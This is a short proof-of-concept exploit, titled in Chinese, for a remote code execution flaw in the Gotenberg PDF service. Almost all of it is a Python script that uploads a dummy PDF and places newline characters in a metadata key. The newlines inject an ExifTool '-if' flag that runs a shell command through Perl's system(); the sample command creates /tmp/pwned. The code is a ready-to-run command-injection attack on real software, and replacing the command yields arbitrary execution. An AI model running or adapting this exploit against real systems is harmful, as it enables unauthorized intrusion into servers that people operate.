CVE-2026-42589 Gotenberg远程代码执行漏洞

import requests import json url = "http://target:3000/forms/pdfengines/metadata/write" # Prepare a dummy PDF file files = { "file": ("test.pdf", b"%PDF-1.4 dummy pdf content", "application/pdf") } # Malicious metadata payload # The key contains a newline (\n) which splits the ExifTool stdin stream. # We inject the '-if' flag to execute a Perl expression (system command). # Example: Creating a file named 'pwned' in the /tmp directory. metadata_payload = { "Author\n-if system('touch /tmp/pwned')\n#": "Vulnerable" } data = { "metadata": json.dumps(metadata_payload) } # Send the exploit request response = requests.post(url, files=files, data=data) if response.status_code == 200: print("Exploit sent successfully. Check /tmp/pwned on the target server.") else: print(f"Request failed with status code: {response.status_code}")